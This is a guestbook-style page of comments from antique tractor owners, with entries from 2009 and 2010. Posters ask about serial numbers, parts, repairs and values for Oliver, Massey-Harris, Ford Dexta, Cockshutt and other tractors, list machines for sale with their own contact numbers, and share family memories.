bob vilcheck wrote on Friday, July 23, 2010 (PDT):used to own a g-1355, wish i had not sold it. I am looking for another one, ph# 832-409-9999
Eugene carroll wrote on Friday, July 23, 2010 (PDT):Can anyone tell me were the seireal number is located on the 550 see photo
richard ewasko wrote on Monday, July 19, 2010 (PDT):I have a Case L ser# C376339 motor block # 4-15 I am not sure whether to restore or sell to anyone that wants to restore same. Not running but not seized needs carburator and housing. Front rad complete but mounting brackets are broken. I am in Manitoba Canada if you have parts please e-mail back if interest in purchasing same I can send detailed pictures.
steve wrote on Sunday, July 18, 2010 (PDT):Have rock island tractor with waukesau and need the firing order and is the front cylinder number one. thanks steve
Gary Velde wrote on Monday, July 12, 2010 (PDT):I just bought a 1931 Rock Island G2. It has been fully restored. Its runs good. I paid 3100. for it. Anybody know if I got a good deal
bennie tharp wrote on Saturday, July 10, 2010 (PDT):I need fenders and front grill for my gg general
DICK LENNARD wrote on Thursday, July 08, 2010 (PDT):MY DAD HANK LENNARD HAD A MASSEY-HARRIS AND OLIVER DEALERSHIP IN MARSHALL, MINNESOTA IN THE LATE 1930 S MAYBE EARLY 40 S. I HAVE A PICTURE OF HIM IN FRONT OF HIS DEALERSHIP ON MAIN STREET WITH TWO MODELS. THEY DON T LOOK MUCH LIKE WHAT I SEE ON THIS WEB SITE. THEY ARE VERY SLEEK AND MODERN LOOKING. MY QUESTION IS.......WAS THERE SOME CORPORATE CONNECTION BETWEEN OLIVER AND MASSEY-HARRIS JUST CURIOUS. DOES MAKE ME A BIT SAD AND EVEN DEPRESSED TO SEE THOSE GREAT OLD MACHINES!! I SAW AN AD THE OTHER DAY FOR TRACTORS AND RELATED EQUIPMENT FROM INDIA FERKRISSAKES.
Larry Morris wrote on Tuesday, July 06, 2010 (PDT):I am wanting a OC3 oliver crawler running or not, located in midwest. I am in Ks.
will wrote on Friday, July 02, 2010 (PDT):I got my 550 about a yr, ago, my uncle got one about 6yrs ago, and i fell in love with his. thats what made me get my own. The 550 is just the perfict size tractor for me,i have a lot of trees on my land,so the lower profile of the tractor works good, has all the power i need, for brush cutting,diskings food plots, bring in fire wood, etc. oliver 550 s forever.
Paul Kaminski wrote on Wednesday, June 30, 2010 (PDT):I have a VAH without serial tag. Stamped engine block # is 68-F04338. Can anybody tell me what year the tractor is Phone 715-342-0918
Tim Anderson wrote on Tuesday, June 29, 2010 (PDT):I owen an Oliver oc-46-3g that starts but only run s for a few seconds.I have cleaned carb set points and have135 lbs of compression in all three cylinders.Does anyone know about this problem
Eric wrote on Monday, June 28, 2010 (PDT):About 1980, my Uncle sold the family 8-16 that my grandfather purchased new. My Uncle lived in Buckly, Illinois and I believe he sold it to a gentleman near Rockford, Illinois. I would appreciate any information anyone might have. I would like to re-acquire the tractor if I can find it. Thanks, Eric
John Leber wrote on Sunday, June 27, 2010 (PDT):I have two 2 Leader tractors for sale. 1948D Leader--Excellent condition. 1946 Leader made in Albany Ohio Fair condition/no rust Both are located in Omaha Nebraska.
Mike Kieliszewski wrote on Saturday, June 26, 2010 (PDT):I own a 1929 1530 rated 2236, about 15 years ago we were at a show with a dyno, they rated the power left on the belt of 34hp. hope i have that much when i get that old. it has an enclosed pickering flyball governor installed which must have been an option as it was on an old saw mill operation in the area. it is on rubber newer but not painted. water pump leaks a little and crack in exhaust manifold stored indoors. it starts faithfully on the third flip. Thinking on selling it not sure where to start thinking 2500.00. There is some sentimentalvalue as my father-n- law was the person who brouht it to life and grew up on his type of tractor. Thanks!! located northern michigan
Randall Miller wrote on Wednesday, June 23, 2010 (PDT):THe phone no for Rippee s is 1-573 431 5939
Randall Miller wrote on Wednesday, June 23, 2010 (PDT):I have a 1964 model Super Dexta that my dad bought new i need a operators manual.Rippee s used tractor parts 5566 Hillsboro Road Farmington Mo, 63640 Phone 1-573-432-5939.HE hase Ford Tractor parts.
JOHN STALEY wrote on Friday, June 18, 2010 (PDT):MY DAD BOUGHT A SUPER 55 GAS IN 1955 AND I STILL HAVE IT. JUST MOWED WITH IT TODAY, IT NEVER MISSED A BEAT ALL DAY LONG.EVERTHING IS STILL ORIGNIAL AS FAR AS I KNOW I ADDED SOME WEIGHT TO THE FRONT END, FOR LOADING, AND MOWING ON THE HILL SIDES.NEEDS A NEW SEAT SPRING IT BOTTOMS OUT ON ME.REALLY ENJOY WORKING THE LITTLE GUY I WAS 8 YRS OLD WHEN WE BOUGHT IT. AND I CAN STILL PICTURE THE OLIVER DEALER DELIVERING IT TO US.
Jason Hartmann wrote on Wednesday, June 16, 2010 (PDT):I have a Oliver 60 serial # 413601 I know nothing about it and was looking for some information, Do you know if it was a standard or an industrial and what year. Thanks Jason
Bart A. Besley wrote on Thursday, June 10, 2010 (PDT): I have a Farmall AV, High Clearance, that I would like to sell. It has an attachment on the rear for planting schrubs etc. I bought two from an old nursury and haven t had a chance to work on this one yet. If interested you can contact me an I will get some pictures to send you and get more info for you.
tc wrote on Monday, June 07, 2010 (PDT):just went to an auction yesterday and a semi restored 44 went for 13,500 and 440 running went for 7500 and a non-running went for 4200, seemed a little high in price
Allen Jones wrote on Friday, June 04, 2010 (PDT):I just purchased a 1959 D-10 W/ a Serial # 1029. It has the plunger type Hydraulic pump which works off the PTO. Is there a manual you can get that shows you how to rebuild this type of pump. Or is there a place you can purchase a new pump Mine does not work.
carolyn wrote on Thursday, June 03, 2010 (PDT):any idea of value of partially restored leader How about a very rusty partial tractor
carolyn wrote on Thursday, June 03, 2010 (PDT):looking for parts for Leader tractor-restoration in progress. especially interested in trans, rear end, motor. All parts considered!
Eddy Burnette wrote on Thursday, May 20, 2010 (PDT):I have had a Super Dexta for about 3 years. Not sure what year it is but it has #957E 7005. Not sure if that indicates the year. I have used it to bush-hog my 8 acres and it does a great job. It has a few kinks but works. I am thinking of selling and applying the proceeds to a new small all-purpose tractor. Anyone interested can respond to my e-mail
michael painter wrote on Thursday, May 20, 2010 (PDT):I m trying to locate a T-20 that came from the state of California had a brass plate on it and a rear pto , painted dark green with a brass fire extinguisure, with excellent undercarriage, but only about 45% grouser shoe track life left. Came from Cali. then went to Defuniac Springs, Fl. and then was traded for a running Caterpillar D-6 generator/engine up in/near Virginia ... sure would like to find it and purchase it or any other T-20 that is in running condition ... Thanks for any leads/help ...
justin martin wrote on Sunday, May 16, 2010 (PDT):i have a m5 and was wanting to know if they had ever made a 4 row cultivator for them.
Steve Savola wrote on Thursday, May 13, 2010 (PDT):I have just inherited a 1944 Co-op C its been painted a ugly blue and hasn t run in three years. Also a straight plow blade as been added, with hydrulic up and down. Just wondering what to do with it Oil is clean and the antifreeze is still in.
Gil Bacal wrote on Tuesday, May 11, 2010 (PDT): I have a D-14 for sale 4 spd trans 2 speed final drive evey thing works 3point hydrolics works good , call if interested, GIL 417 451 3911
Ron Hopfensperger wrote on Sunday, May 09, 2010 (PDT):My dad has a Leader with a Hercules engine. Were would we find the serial #S. Thanks Ron
john wrote on Saturday, May 08, 2010 (PDT): I have a w4 international but do not know the year of it how do can I find this out it has a extra fuel tank on it I was told they used this to put kerosene in and you had it started you could run on this any help would be appreiciated thank you
Tom Bible wrote on Saturday, May 08, 2010 (PDT):Ware can I get parts for my model 30 cockshutt New or used. Thank you. T B
RON GEIGER wrote on Thursday, May 06, 2010 (PDT):WE GO TO ANTIQUE TRACTOR PULLS, DID THE 460 COME WITH PLATE RIMS OR JUST CAST RIMS STOCK THERES A LOT OF ARGUEMENTS OVER THIS.
Roger wrote on Saturday, May 01, 2010 (PDT):Leaders were made after WWII using many spare parts left over from various companys. Most are made with the Herculese IXB5 4cyl gas engine, and use Chevy truck transmissions. 1935 Ihave been told. I beleive the clutch is also old chevy truck. I would like to find a repair manual for the IXB5.
john wrote on Sunday, April 25, 2010 (PDT):i am wanting to know what loaders will work on my super dexta.... will a loader from a 600, 700, or 800 series fords work on it any information is appreciated.
john wrote on Monday, April 19, 2010 (PDT):I own one a recent purchase IH TD 35 it runs great on gas but smokes and misses, loss of power once it switches to diesel, someone mentioned the injector pump is out of time, how do you time it
Eric Clark wrote on Tuesday, April 13, 2010 (PDT):I have a TD-6, we finally got it running but have now broke a right rear bullgear housing. If anyone knows where I can get one or even a reasonably priced parts machine with a good housing, please leave me know. If you cannot reach me at the e-mail, my phone # is 1-570-837-0275.
Luis wrote on Friday, April 09, 2010 (PDT):I m trying to find a starter for a 1960 M5 propane anybody know of any can call if you have one or know if anybody does. Thanks 601-494-9173 Luis
Dave Quillen wrote on Friday, April 09, 2010 (PDT):The diesel 560 is a great tractor! I use this tractor daily for applying herbicide on various shrubs and flowern trees at Waynesboro Nurseries. Now in the proccess of overhauling.The dry cylinder liners are a challenge to get out.
Abe wrote on Thursday, April 08, 2010 (PDT):how much is that awesome looking and i m sure running tractor cost
Kenny Shipley wrote on Thursday, April 08, 2010 (PDT):We all know that ALLIS CHALMERS dont loose power just traction and we also know that john deeres loose power but have good traction so we need to find a way to get good traction in the smaller tractors for pullin and that would be somthing to see.
Kenny Shipley wrote on Thursday, April 08, 2010 (PDT):We all know that ALLIS CHALMERS dont loose power just traction and we also know that john deeres loose power but have good traction so we need to find a way to get good traction in the smaller tractors for pullin and that would be somthing to see.
chuck cowan wrote on Wednesday, April 07, 2010 (PDT):i am trying to find out what year and model dozer i have it is a international it has a 4cyclender diesel that starts on gas the tracks are 16inch with 2 rollers on top 5 rollers on bottom the rear sprakit is solid no holes in it. on the rear it has two rear cover plates one on left one on right thanks
Ken Sloan wrote on Sunday, April 04, 2010 (PDT):I have an AC WF 1938. Good shape, been restored, runs great. I also have an AC B 1942. Runs great but needs TLC. My favorite tractor is my MD 10-20 1930 on steel. I bought it from my Dad who has now passed on. He restored and showed it at local shows.
jack boudreau wrote on Saturday, April 03, 2010 (PDT):jack. i have a 1954cockshutt 4o delux 6 cylinder model.i hade it a long time i rebuiled it in 1978.took desel engine out put a 250 chev engine well .I had a barn fire . not good .i could save is my cockskut .now iam restoring pltting a 292 engine sans blasting patnting restoring my tractor.looking for parts. seals for the brage drums right and left in the transmission.housing .better then that i would bye 1 for parts.40 delux model 1954.call if you can help me 902 761 2779 jack
david wrote on Tuesday, March 30, 2010 (PDT):I have a 1964 super dexta diesel tractor. i need to know where to put the hydraulic fluid in for the lift. where can i get a starter rebuilt.I live in the Raleigh-Durham NC area
Richard Mixon wrote on Monday, March 29, 2010 (PDT):At his death my brother left me a super dexta diesel tractor. I have no information about it. How can i tell what year it is Where can i get an operator manuel for it. Thanks Richard
Boyd Anderson wrote on Sunday, March 28, 2010 (PDT):I need to know the advertised horsepower rating of my Oliver Super 55 manufactured in 1956. Also the PTO rating would be helpful
Garvin wrote on Saturday, March 27, 2010 (PDT):I am interested in finding an international TD-6 dozer in good condition. I have seen on in these add s but I dont know how to contact the seller. It was a restored dozer and the phone # was from Ohio. If that person still has the unit I would like to talk to him. My phone # 623.556.5517 Thanks
Garvin wrote on Saturday, March 27, 2010 (PDT):I am interested in finding an international TD-6 dozer in good condition. I have seen on in these add s but I dont know how to contact the seller. It was a restored dozer and the phone # was from Ohio. If that person still has the unit I would like to talk to him. My phone # 623.556.5517 Thanks
Sam Magnuson wrote on Wednesday, March 24, 2010 (PDT):I Have a I-14, but am missing the Throttle control assembly, can anyone help. Thanks Sam Magnuson
James Vaughn wrote on Friday, March 19, 2010 (PDT):I bought what I think is a Dexta about 3 weeks ago. Have only used it for bushogging so far. Runs good and the lift works great. I have to give it a shot of either to crank it though. A mechanic told me that the 3 cly. Perkins should have a button near or on the injector pump. Before cranking, this should be activated, and it allows more fuel for starting. I can t find the button . Also, I need to know where to find the ser. number. That may help me find out the year, etc. Any help or advice is appericiated.
malcolm gibson wrote on Thursday, March 18, 2010 (PDT):1967 ford 2000 diesel tractor. when its cool the hydraulics dont work i cant find a filter if it has one and what type of hydraulic fluid do i need
Cindy Geisinger wrote on Tuesday, March 16, 2010 (PDT):I have a 1932 AC model K crawler, with hydraulic Baker Blade attached. It did run before but has been sitting for 20 years inside my barn. I used it to level the spot where my trailer sits now and then parked it in barn. I need to sell it because I am moving all equipment out of barn to put in a concrete floor. It has gear controls and no steering wheel. I loved it and Im a girl. Offer me a price... Hate to part with it cause dad gave it to me. Call me at 816-258-2452
Sam Kerr wrote on Tuesday, March 16, 2010 (PDT):JOE BREEZEE! WHERE ARE YOU LOCATED YOU HAVE NO CONTACT INFO. WHAT IS YOUR PRICE RANGE IF YOU ARE IN KY OR JOINING STATE AND THE PRICE IS RIGHT I WOULD BE INTERESTED
Liiam Hoof wrote on Tuesday, March 16, 2010 (PDT):Hello, me and my father are restoring a 1929 international 22-36 but we are having to use a 1931 engine which is ever so slightly modified, which is that there is an extra lubricating oil pipe on the side where the oil filter and magneto are. At the moment we are in need of either a metal plating bowl to hold oil and brackets for our air cleaner or a complete air cleaner altogether and also a rocker cover.
Michael Buffaloe wrote on Saturday, March 13, 2010 (PST):I am located in Wake County, NC near Raleigh. My daddy used to have a 53 or so Super MD that I d love to locate. It was used when he bought it. We used to refer to her as The Big Tractor ! She was strong!! We would pull 4 - 14 plows with it. I have broke many of an acre with it. After I bought an IH 674 in 80, my mother sold it in the early - mid 80 s. Several years later, the fellow that bought it traded it for a John Deere at Revels Tractor Co. in Fuquay-Varina, NC. I know this is a real long-shot, but would anyone out there maybe have bought a Super MD from Revels in the later 80 s or around 90 Contact me and give a description. I would love to see it! This may be in Wake, Johnston, Harnett Co s. or somewhere close by.
Harold Beyer wrote on Thursday, March 11, 2010 (PST):have a 300 IH looking for used Hydraulic pump tractor runs great had it for years--May sell if decent offer.Located in WI
johntontz wrote on Wednesday, March 10, 2010 (PST):I need a ford dexta reditor cowling please e.mail
johntontz wrote on Wednesday, March 10, 2010 (PST):I need a ford dexta reditor cowling please e.mail
Dee Yokiel wrote on Wednesday, March 10, 2010 (PST):My dad bought a 1957 cockshutt deluxe new and now I have inherited it, needs restoring but runs. I was wonder if anyone could tell me what the value of it would be as is. My dad really loved this tractor and was the only new tractor he bought in his lifetime. Thanks for any info on the price.
Broderick Murray wrote on Wednesday, March 10, 2010 (PST):It is useful to try everything in practice anyway and I like that here it s always possible to find something new. ;
Frederick A. Drake wrote on Monday, March 08, 2010 (PST):The wife and I have her great grandfather s Titan 10-20. While sitting out in the weather the valve lifter rusted and froze up. Someone threw the flywheel and the valve lifter block broke, so we are looking for one or an engine
John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a massey harris 44 lp special, it runs fine but has started to have a lowerend knock when pulling a heavy load what can cause this it also needs a paint job, and gas tank. The tractor was gas, but somewhere in time was converted to propane, it runs fine has lots of power but is getting worn. What are these worth
John Little Axe wrote on Sunday, March 07, 2010 (PST):I have a IH TD-35 runs okay everything works so far, I just bought the machine, when running on gas it seems to run fine, but when it switches to diesel it starts to miss, and smoke. The guy I bought it from says that the injector pump was leaking and he took it apart and replaced gaskets and two gears fell out, he just put them back in, but when he started the crawler back up it started smoking and missing. He advised that an fuel injector shop says the pump is out of time, is this possible How much are these crawlers worth. This particular crawler is in good shape, fair paint job, great undercarriage, the engine is clean on the gas side, a little diesel leaks on from a return line on the injector pump, the crawler seems to lack power. Any suggestions
Brad Womack wrote on Saturday, March 06, 2010 (PST):I have an inoperable Oliver OC 15 crawler that I would like to sell, trade or scrap. The 6 cyl hercules diesel engine is frozen due to rain water entering cylinders. Heads are off and in good shape. Dozer was running strong prior to water damage. I hate to scrap this machine. It has many good parts and good undercarriage and probably could be brought back to life. If interested, call me at 985-290-7404
Bryan Slabotsky wrote on Friday, March 05, 2010 (PST):I need a fuel tank for a Super Dexta, 1963 model, I believe. Anyone know where I can get one
ML Haynes wrote on Wednesday, February 24, 2010 (PST):I am looking for parts for a Super Dexta. If you have any for sale I would be interestestd. 580-772-4800
Bernard Winn wrote on Saturday, February 20, 2010 (PST):I have a 1952 G that has been restored.I would like to know more about your meeting in Octobor.I am located in Hampton,S.C 29924. Thanks
Mark Pederson wrote on Friday, February 19, 2010 (PST):Looking for a d-17 gas complete tractor for parts or just a rebuildable engine block and crankshaft.
Jaco Combrink wrote on Thursday, February 11, 2010 (PST):I am from South Africa and looking at buying a Leader Tractor in a very bad condition not sure of the moddel and munufacturing date . Yes I m also restoring old tractors and found this one under a tree on a farm in the South African Bushveld. What would be a reasonable purchase price for this old lady and are there other owners/clubs in South Africa What s the availability of spares - if and when required Please contact me on my cellular if you are able to assist. Cell +27 836572339 or E-mail jacocombrink1 at telkomsa.net Regards - Jaco
victor torino wrote on Friday, February 05, 2010 (PST):i have a low boy tractor for sale ,but i dont know any thing about the year ,it runs like a clock perfect. it has a side mount mower deck .and a blow,
Howard Cameron wrote on Thursday, February 04, 2010 (PST):Ernest the problem with the 3point hitch, is either low HYD oil or the pump or control valve is getting weak. Or a combination of all 3 A good Mechanic should be able to determine what is wrong. My father has a 1963 Fordson super Dexta aka Ford Diesel 2000 North American name . I am also looking for copies of the shop repair manuals for Super Dexta and MF 165. If some one can scan them and send them to me would be great. I am trying to decide to restore it or not. He just purchased a MF 165 to replace it. Does anyone have any information on Roadless 4X4 mods for a Super Dexta
Stephen Atkins wrote on Wednesday, February 03, 2010 (PST):We had a 1948 Cockshutt 30 with the 153 Buda engine It set under an Ften Farmhand and we used it to put up hay Sold it to a friend who restored it and it was in the antique tractor parade at Stuhr Museum
Brent Thurman wrote on Tuesday, February 02, 2010 (PST):INTERNATIONAL 300 FOR SALE. I have an International 300 tractor in good working order for sale. Located in Whitewood SD. #605-376-1765
Brian Hurst wrote on Friday, January 29, 2010 (PST):What shade of green should my Oliver Super 55 be painted The serial number is 19933-518. I was told some had green wheels and some had red wheels. Do you know which was the original colors for this tractor
Jim White wrote on Friday, January 29, 2010 (PST):I live in Ireland and collect anything Massey and have the 4 MF Models, 95, 95Super, 97 and 98. The 98 is my favorite, when well loaded, purrs like a cat. Got them all in the USA since 2002 in their working clothes. Have since got all 4 restored to as new. Use the 97 to tow the 98 on A-frame to events, much faster on road. Very smart piece of kit. Best wishes to all Massey lovers.
dg_48@verizon.net wrote on Thursday, January 28, 2010 (PST):looking to sell my mmg1000 need to know the going price, its a 1967 and has a nearly new paint job, and all new stickers, runs good, is in very good condition.
JR wrote on Wednesday, January 27, 2010 (PST):I have a Farmall Super-C, Serial FCS-157-102, Engine; FMC-HA5-G, Carb;0653-7715A. It is in running condition and would be great for using on a small farm and/or a restoration project. Also have documentation and original bill of sale. What is the sale price range
Tracey Stumbo wrote on Saturday, January 23, 2010 (PST):I have a 1938 f20 and serial# I think is FA112445 if this is even the # I am wondering if anyone wiil please please help me determine what I have so I can begin the process of trying to restore, I have no idea what size or make of the engine so I can buy overhauling kit, please please help me and maybe some #s and companies so I can contact for help please please someone find the time in your heart to help me get in touch with my late grandfather so I can make him proud when he looks down from above and see his tractor working the land he and my great grandfather worked so many years ago, once again please help!!!!! I thank you so very much Tracey
galen kopp wrote on Saturday, January 23, 2010 (PST):Ben, Will you sell your oliver super 44 do you anyone that has one for sale 717-653-1567
Keith Edens wrote on Friday, January 22, 2010 (PST):I just bought a cockshutt 40 . Where is the serial plate located. It has one on the engine and the place where it says tractor ser.# is blank. It is decaled as a deluxe, how do you tell if it is really a deluxe. thanks, Keith
John Knepper wrote on Thursday, January 21, 2010 (PST):Wanted-small IH doser gas or diesel good runner near Dubuque Iowa 563-590-3964
Dick Patrick wrote on Wednesday, January 20, 2010 (PST):I have a 1956 420 crawler for sale. It has a 5 spd. trans. 5 roller snow track everything works and it runs good. Asking 5900 or best offer. Located in So. East Wis.Phone 920 285 2420
ERNEST FILLEY wrote on Saturday, January 16, 2010 (PST): I have a SUPER DEXTA 2000 good tactor for mowing grading. The problem I have is 3pt will lift ok , at idle with lift up up it will Bump - jump. With motor off lift will settle to ground in very short time. Also what kind of fluids quanties are used in any or all resivors. Any help is greatly apperaciaed.
dan clark wrote on Wednesday, January 13, 2010 (PST):would like to buy D12 D10 or D15 SERIES 2 or 3 ingood condition or could be easily made into useable tractor
dan clark wrote on Wednesday, January 13, 2010 (PST):i just bought a d17 ac been outside for 8 years looks bad but this is not any old d17 my dad bought it new in 1960 or 61 from his son in laws dad a ac dealer don morr in central ill. dad sold it in 1996 i tracked down paid 500 got it home 1 09 2010 back where it belongs planing complete reworking on it so glad to get back the last new tractor my dad bought he past away 3 of 01 he would be glad its back home to thought i would share my story was wanting to tell some body who would like to here it thanks for listing dan
Jamie Thresher wrote on Monday, January 11, 2010 (PST):I am in the process of helping two friends restore a IH 8-16. I know we atleast need the magneto, not sure what else yet. If anyone knows of any sites that offer replacement parts that are original to design, that would be awesome. We are restoring the tractor for an old farm museum.
dave morrison wrote on Thursday, January 07, 2010 (PST):i learned to drive a tractor on a gas super 55 my granddad had when he passed away granny sold it .i would love to find it and buy it back
Dave S wrote on Wednesday, January 06, 2010 (PST):I built a york rake and I need a pattern for the Part or point that enters the fast hitch..Or an inexpensive attachment with said item need not work for an Int l Cub Lo-Boy...Can t seem to locate anything in my area. any help greatly appreciated...Thanks Dave
claude leveille wrote on Tuesday, January 05, 2010 (PST):j ai un 55o oliver 1961;ou puis je me procurer les decals neuf pour remplacer ceux existant apres l avoir repain
Don wrote on Tuesday, January 05, 2010 (PST): i have 1962 m-5 gas super tractor has 75 strong h.p. on dyno work in field and take it to shows... also does great job on pulling track in 8000 plows class
Sig Pfahl wrote on Saturday, January 02, 2010 (PST):I am restoring a 1953 Cockshutt 40. I need an engine block. It is a B230 buda gas engine. I have collected 6 engines so far and upon dismantling then have found cracks either between the sleeves in the center where the metal is thin or in the metal anchoring the head bolts nearest to the sleeve wall where the metal between the threaded hole and the sleeve wall is also thin. Each block has at least one to three such cracks and they seem to appear mostly at front or back cylinder. As a result of this effort I have a accumulated a significant supply of related parts... heads..rockers..flywheels,ring gears,camshafts,crankshafts timming gears, governor parts, distributors etc...anyone interested in parts Anyone willing to trade all this for a gauranteed block...By the way the blocks I ve collected so far generally appear to have good water jackets ,sleeve sealing surfaces, and are externally sound..Ideas re repair and sources are most welcome. sig pfahl 1-204-866-3259
mike wrote on Monday, December 28, 2009 (PST):to answer the june 22 question. diff between f 20 and f 30 is 10 hp and about 500 lbs. as far as physical, the f 30 is maybe 6 inches taller and 4 inches wider at the hood. very obvius if the 2 are side by side. other than that, you can get casting #s off left side engine block , drop housing, front steer gear housing, etc and they will all lead you to which one you have, good luck.
david wrote on Friday, December 25, 2009 (PST):looking for hoodmassey55kgas havefeedgrindingshaft and two set of rear weels and rims and watesfor wheels
Jeff Peet wrote on Friday, December 25, 2009 (PST):I have a T-6 crawler 1931 that I need to sell, It is in good condition, needs a new fuel tank and some paint, the undercarrage is like new has very little hrs on origanal motor if you are interested 559 299-4996
ED . R wrote on Friday, December 25, 2009 (PST): FOR THE GENT WANTING TO KNOW ABOUT TRANS OIL. IF THERE WAS A HYDRAULIC SYSTEM THE OIL USED WAS 20/30 WT ENG OIL . IF NO HYD. ANY HP 90 WILL DO . THE TRANS WAS BUILT BY THE TIMKEN CO. BEARINGS YOU MIGHT GET FURTHER INFO THERE.. NOT WELL KNOWN , BUT THERE WAS ALSO A 6 CYL ENG . AND ONE BIG BERTHA TRACTOR AS WE CALLED IT WAS MADE FOR EXPERIMENT ON THE SHEPPARD FARMS MR SHEPPARD ALSO HAD A BOAT IN BALTIMORE WITH TWO OF THESE HUGE ENGINES IN IT I WAS A FORMER EMPLOYEE AT THE PLANT. AND HELPED WITH SOME TESTING OF THE SD4 MODEL. A TRIP TO THE DRAFT BOARD ENDED ALL THE FUN.
Jon wrote on Monday, December 21, 2009 (PST):1969 MM G-1000 Vista diesel for sale. Needs rear 2 jugs overhauled, it s all there except the chrome emblems. Has narrow front on it I think from a 670 . Front tires are junk, rears are 70% 18-4-38. Tin is mostly straight, fenders are a little tweaked, but will come back. Was going to go pulling with it, but can t bring myself to chop it up.
Chris Cosby wrote on Friday, December 18, 2009 (PST):Where can I find filler caps/dipsticks for the transmission fluid, power director and PTO fluid, and hydraulic pump fluid for a Allis Chalmers D-14
bruce brown wrote on Monday, December 14, 2009 (PST):I am in the process of rebuilding my O14but I can t find a repaire manual. This tractor has been stored for apx. 30 yrs. clutch will not disingage, fingers that go against the throut bearing are rusted tight. HELP thanks
Derek wrote on Saturday, December 12, 2009 (PST):I was reading your forum and you guys no nothing about the other brans. A stock Oliver will own a stock John Deere anyday. The reason you see John Deeres doing so good is because they are a 2 cyclinder, with a long stroke so inturn you turn them up a lot because of the long stroke to create power. The long stroke also alows the to hold on at the end when they go put.......... put........ put.......put, but a stock Oliver will still take a stock john deere anyday with their inline 6 cyclinder engine besides the 66 and 660 they had an inline 4 cyclinder motor. So as i was saying you may think John Deeres are soo much better then olivers but stock to stock oliver is number one everytime
Brian Watson wrote on Saturday, December 12, 2009 (PST):I have a 1947 60 that my Grandfather bought new in 1949 from Howard Hand in Independence Ia. It sat 32 years on blocks in my uncle s machine shed before I got it. It also had the 2 row cultivator still on it. Just finished restoration this year. It s a very easy to drive, fuel efficient tractor.
Joe Carter wrote on Friday, December 11, 2009 (PST):i just finished putting my super 55 back together and what a job it was i had to put a new through baring in the pto to do that you have to split the entire tractor a part and what a job that was
JON MCKENNA wrote on Thursday, December 10, 2009 (PST):Wanted to buy Massey Harris 81 in good condition located in the midwest.
Donald Sims wrote on Sunday, December 06, 2009 (PST):THE FIRST ANNUAL MODEL G ROUNDUP WAS HELD ON OCTOBER 9-11-2009 AT THE OLD ALLIS CHALMERS PLANT LOCATED IN GADSDEN ALABAMA WHERE THE MODEL G S WERE BUILT .THIS SHOW ATTRACTED MODEL G OWNERS FROM SEVERAL STATES FOR THEM TO BRING THESE LITTLE TRACTORS BACK TO WHERE THEY WERE ORIGINALLY PRODUCED .THE SHOW WAS A FIRST OF ITS KIND WITH LOTS OF HARD WORK INVOLED AND LESSONS LEARNED TO HELP MAKE NEXT YEARS SHOW BETTER WHICH WILL BE HELD ON THE SECOND WEEKEND IN OCTOBER BUT INSTEAD OF A 3-DAY SHOW IT WLL BE ONLY A 2-DAY SHOW .NOW I HAVE TASKED MYSELF WITH THIS TO ENCOURGE YOU BRING YOUR -G- TO THE SHOW BUT IF YOU CANNOT MAKE IT I AM TRYING TO LOCATE AS MANY OF THESE TRACTOR BY SERIAL NUMBERS TO SEE HOW MANY ARE STILL IN EXISTANCE EITHER ORIGINAL, RESTORED ,OR PARTED OUT, I ONLY NEED THE SERIAL NUMBERS WHICH IS LOCATED IN FRONT OF GEAR SHIFT ON THE FLAT SURFACE WITH THE NUMBER STAMPED IN THAT STARTS WITH THE LETTER G LIKE G###### , MOST OF YOU KNOW THAT I WOULD LIKE TO KNOW TRACTOR LOCATION, SUCH AS CITY AND STATE AND CONDITION SUCH AS ,ORIGINAL, RESTORED, OR PARTED OUT NO PERSONAL IMFORMATION NEEDED ONLY IF YOU WISH TO DISCLOSE . I HAVE ONLY 10 MONTHS TO TO DO THIS BEFORE THE NEXT SHOW ,SO IF YOU THINK YOU CAN HELP ME WILL GREATLY BE APPRECIATED YOU CAN CALL DONALD AT 256-492-1350 OR 256-490-1505 CENTRAL TIME, HELP ME BEAT THE BUSHES TO SEE HOW MANY WE CAN LOCATE .THANKS
Don Braun wrote on Friday, December 04, 2009 (PST):For MH 55D I would like to find a set of king pins and a shop manual
Jeff wrote on Thursday, December 03, 2009 (PST):I have an M5 it is the best tractor I have. use it to move hay to the cows in the winter. Really would like to get a cab for it, some day love the tractor always starts great.
LLMorehouse wrote on Thursday, December 03, 2009 (PST):I HAVE A 450 COCKSHUTT IT BEEN SETTING IN ALL KINE OF WATHER iWOOD LIKE TO RESTORE IT LOOKING FOR A STARTER 6 VOLT iT IS A DELCO i AM NOT SURE OF THE YEAR SO IF ANY ONE CAN HELP NUM.IS 162 3164 223414 0N THE STARTER 1108073 8B28 6 VOLT THANK YOU LLMOREHOUSE
Brad Noble wrote on Tuesday, December 01, 2009 (PST):I have two perfect never used Light-Weight Oil Pull tractor pocket watch leather FOB s. On the back it says Advance-Rumely Power Farming Machinery - La Porte, Indiana. Any interest in these The strap is leather and the badge is at least gold colored plated perhaps . Very nice condition.
Michael Pryer wrote on Sunday, November 29, 2009 (PST):Im about to restore my B.F model a. I dont know much about them but i know horizionveiw.net has the color codes. My serial number is not located on the top right frame. can any one help me
Mike Ohlhaber wrote on Sunday, November 29, 2009 (PST):Looking for a grill and air cleaner for a GG General. Any help is much appreciated. Thanks
chuck cramer wrote on Thursday, November 26, 2009 (PST):I have owned a mod 18-35 F RockIsiand tractor for 30 years or so . I also need parts for mine . do have orig man and some orig ads from farm mag chuck cramer 715-235-4084
JOHN RASMUSSEN wrote on Wednesday, November 25, 2009 (PST):I HAVE AN EXTRA HERCULES ENGINE FOR A JD MODEL L. THE ENGINE IS A LONG BLOCK WITH BELL HOUSING AND FLYWHEEL AND IS IN REAL GOOD CONDITION.
Mark Scrantz wrote on Tuesday, November 24, 2009 (PST):looking for 1950 mfwa running or not la.,tx.,ar.,miss.area
Patrick Horner wrote on Tuesday, November 24, 2009 (PST):I have a TO30 with a z129 engine with cracks on top and on the bottom. Anyone have any suggestions as to where I might find a block Or, whether or not another MF engine will interchange
Jeff Tharp wrote on Sunday, November 22, 2009 (PST):Have 1975 AC160 for sell motor runs great, brakes work good but hangs up have to put in reverse to unlock. Lift was working good, but water got in hydr.fluid no the lift comes up as soon as you crank it.Needs left fender,seat and work on bottom front of hood.New front tires but rear are rough. I live in Slocomb, Al 36375 1000.00 you come get it
